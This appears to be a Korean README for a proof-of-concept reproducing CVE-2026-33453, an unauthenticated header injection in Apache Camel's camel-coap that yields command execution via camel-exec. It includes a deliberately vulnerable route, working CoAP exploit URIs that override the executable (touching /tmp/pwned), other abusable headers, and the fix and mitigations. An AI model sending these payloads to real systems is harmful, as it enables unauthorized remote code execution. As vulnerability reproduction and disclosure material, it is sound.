
CVE-2026-33453 재현 도구: camel-exec를 통한 Apache Camel camel-coap 헤더 주입으로 인한 RCE
이 프로젝트는 Apache Camel camel-coap 컴포넌트에서 CVE-2026-33453으로 추적되는 Camel 메시지 헤더 인젝션 취약점을 시연합니다. 인증되지 않은 공격자가 단일 CoAP UDP 패킷을 전송하면 Exchange에 임의의 Camel* 제어 헤더를 주입할 수 있으며, 라우트가 camel-exec와 같은 헤더에 민감한 프로듀서로 전달할 때 원격 코드 실행이 가능합니다.
권고문: https://camel.apache.org/security/CVE-2026-33453.html
| 속성 | 값 |
|---|
| 컴포넌트 | camel-coap |
| 영향을 받는 클래스 | org.apache.camel.coap.CamelCoapResource (handleRequest) |
| 근본 원인 | HeaderFilterStrategy 없이 CoAP URI 쿼리 매개변수가 Exchange 헤더로 복사됨 |
| CWE | CWE-915: 동적으로 결정된 객체 속성의 부적절한 제어 수정 |
| 영향 | 원격 코드 실행 (헤더에 민감한 프로듀서 경유, 예: camel-exec) |
| 공격 표면 | 단일 인증되지 않은 CoAP UDP 데이터그램 (기본 포트 5683) |
| 영향을 받는 버전 | 4.14.0 이상 4.14.6 미만, 4.15.0 이상 4.18.1 미만 |
| 수정된 버전 | 4.14.6, 4.18.1, 4.19.0 |
| JIRA | CAMEL-23222 |
| 제보자 | Hyunwoo Kim (@v4bel) |
영향을 받는 버전에서 CamelCoapResource.handleRequest()는 CoAP 요청의 URI 쿼리 옵션을 순회하며 각각을 Camel Exchange In 헤더로 복사합니다. 어떤 HeaderFilterStrategy도 적용하지 않습니다:
// CamelCoapResource.handleRequest() - affected version
OptionSet options = exchange.getRequest().getOptions();
for (String s : options.getUriQuery()) {
int i = s.indexOf('=');
String name = (i == -1) ? s : s.substring(0, i);
String value = (i == -1) ? "" : s.substring(i + 1);
camelExchange.getIn().setHeader(name, value); // NO HeaderFilterStrategy!
}
CoAPEndpoint는 DefaultEndpoint를 상속하며(DefaultHeaderFilterStrategyEndpoint가 아님), CoAPComponent는 HeaderFilterStrategyComponent를 구현하지 않으므로 필터가 전혀 없습니다. 따라서 공격자는 CoAP 요청 URI에 쿼리 매개변수를 추가하기만 하면 Camel 내부의 Camel* 제어 헤더를 포함한 모든 헤더를 설정할 수 있습니다.
라우트가 메시지를 헤더에 민감한 프로듀서로 전달하면 해당 헤더가 프로듀서의 동작을 변경합니다. camel-exec의 경우 CamelExecCommandExecutable 및 CamelExecCommandArgs 헤더가 엔드포인트에 구성된 실행 파일과 인수를 재정의하여(영향을 받는 버전에서는 기본적으로 적용됨) 임의의 OS 명령 실행을 가능하게 합니다. 명령의 stdout은 Exchange 본문에 다시 기록되고 CoAP 응답으로 반환되므로 대화형 RCE 채널이 됩니다.
from("coap://0.0.0.0:5683/run")
.to("exec:echo?args=hello") // fixed, harmless command
.convertBodyTo(String.class); // return stdout in the CoAP response
정상적인 요청은 echo hello를 실행합니다. 공격자는 주입된 헤더를 통해 명령을 재정의합니다.
CoAP는 UDP 기반(RFC 7252)이며 내장 인증이 없습니다(DTLS는 선택 사항이고 기본적으로 비활성화됨). 따라서 외부 서비스나 Docker 컨테이너가 필요하지 않습니다 — 재현 앱은 취약한 CoAP 서버이자 번들된 공격자 클라이언트입니다(libcoap의 coap-client와 같은 원시 클라이언트도 동작합니다).
mvn clean package -DskipTests
mvn spring-boot:run
앱은 coap://0.0.0.0:5683/run에서 취약한 라우트를 시작하고 8080 포트에서 헬퍼 REST 컨트롤러를 시작합니다.
curl http://localhost:8080/exploit/normal
# -> CoAP response: hello
# Default benign proof: touch /tmp/pwned
curl "http://localhost:8080/exploit/attack"
# Choose a different executable/args:
curl "http://localhost:8080/exploit/attack?exe=/usr/bin/touch&args=/tmp/owned-by-coap"
내부적으로 번들된 CoAP 클라이언트는 단일 데이터그램을 전송합니다:
coap://localhost:5683/run?CamelExecCommandExecutable=/usr/bin/touch&CamelExecCommandArgs=/tmp/pwned
대신 원시 CoAP 클라이언트를 사용하는 경우:
coap-client -m get "coap://localhost:5683/run?CamelExecCommandExecutable=/usr/bin/touch&CamelExecCommandArgs=/tmp/pwned"
ls -la /tmp/pwned
/tmp/pwned가 존재하면 주입된 헤더가 exec 명령을 재정의한 것입니다 → RCE.
이 인젝션에는 다운스트림에 헤더에 민감한 프로듀서만 있으면 됩니다. 권고문에는 다음과 같은 사례가 나열되어 있습니다:
CamelExecCommandExecutable / CamelExecCommandArgs → OS 명령 실행CamelFileName → 임의 파일 쓰기 / 경로 탐색CamelBeanMethodName → 다른 메서드 호출coap://...에서 메시지를 소비하는 Camel 라우트.removeHeaders("Camel*")가 없음.인증이 필요하지 않으며, 5683 포트로 단일 UDP 데이터그램을 전송하는 것만으로 충분합니다.
수정(CAMEL-23222)은 CoAPEndpoint가 HeaderFilterStrategy를 보유하도록 하고 handleRequest()에서 헤더를 설정하기 전에 이를 적용하여, 다른 모든 전송 방식과 마찬가지로 Camel* 접두사 이름이 CoAP 경계에서 필터링되도록 합니다:
HeaderFilterStrategy strategy = consumer.getCoapEndpoint().getHeaderFilterStrategy();
...
if (strategy == null || !strategy.applyFilterToExternalHeaders(name, value, camelExchange)) {
camelExchange.getIn().setHeader(name, value);
}
업그레이드할 때까지:
from("coap:...") 바로 다음에 .removeHeaders("Camel*") 사용.coaps://).CVE-2026-33453/
├── pom.xml
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java # Spring Boot entry point
│ ├── CoapExecRoute.java # the vulnerable victim route (coap -> exec)
│ └── ExploitController.java # bundled CoAP attacker client (/exploit/normal, /exploit/attack)
└── resources/
└── application.properties
이 재현 도구는 공개적으로 공개되고 수정된 취약점에 대한 보안 연구 및 승인된 테스트 전용으로 제공됩니다. 명시적인 허가 없이 시스템에 사용하지 마십시오.